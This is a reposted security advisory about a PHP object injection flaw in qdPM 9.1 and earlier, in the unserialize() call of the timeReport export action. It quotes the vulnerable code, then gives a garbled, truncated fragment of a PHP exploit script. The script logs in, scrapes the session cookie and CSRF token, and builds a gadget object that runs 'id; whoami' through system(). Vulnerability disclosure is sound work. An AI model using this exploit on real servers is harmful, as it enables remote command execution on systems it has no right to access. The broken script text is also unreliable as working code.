--------------------------------------------------------------
qdPM <= 9.1 (executeExport) PHP Object Injection Vulnerability
--------------------------------------------------------- --------------------------------------------------------------
qdPM <= 9.1 (executeExport) PHP Object Injection Vulnerability
--------------------------------------------------------------
[-] Software Link:
http://qdpm.net
[-] Affected Versions:
Version 9.1 and prior versions.
[-] Vulnerability Description:
The vulnerability is located in the /core/apps/qdPM/modules/timeReport/actions/actions.class.php
script, specifically within the timeReportActions::executeExport() method:
295. public function executeExport(sfWebRequest $request)
296. {
297. $separator = " ";
298. $format = $request->getParameter('format');
299. $filename = $request->getParameter('filename');
300.
301. $export = unserialize($request->getParameter('export'));
User input passed through the "export" request parameter is not properly sanitized before being
used in a call to the unserialize() function at line 301. This can be exploited by malicious users
to inject arbitrary PHP objects into the application scope, allowing them to carry out a variety
of attacks, such as executing arbitrary OS commands.
[-] Proof of Concept:
http://karmainsecurity.com/pocs/CVE-2020-26165
"; print "
Example....: php $argv[0] http://localhost/qdpm/ user passwd"; print "
Example....: php $argv[0] https://test.com/qdpm/ evil hacker
"; die(); } list($url, $user, $pass) = [$argv[1], $argv[2], $argv[3]]; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, true); print "[-] Logging in with username '{$user}' and password '{$pass}'
"; $resp = curl_exec($ch); if (!preg_match("/Cookie: [^;]+/", $resp, $sid)) die("[-] Session ID not found!
"); if (!preg_match('/_csrf_token]" value="([^"]+)"/', $resp, $csrf)) die("[-] CSRF token not found!
"); curl_setopt($ch, CURLOPT_URL, "{$url}index.php/login"); curl_setopt($ch, CURLOPT_HTTPHEADER, $sid); curl_setopt($ch, CURLOPT_POSTFIELDS, "login[email]={$user}&login[password]={$pass}&login[_csrf_token]={$csrf[1]}"); if (!preg_match("/Cookie: [^;]+/", curl_exec($ch), $sid)) die("[-] Login failed!
"); print "[-] Logged-in! Exploiting PHP Object Injection...
"; class sfOutputEscaperObjectDecorator { protected $escapingMethod = "system"; protected $value = "id; whoami"; } $obj = rawurlencode(str_replace(['s:', chr(0)], ['S:', '
qdPM 9.1 PHP Object Injection
- Details
- Written by: khalil shreateh
- Category: Vulnerabilities
- Hits: 219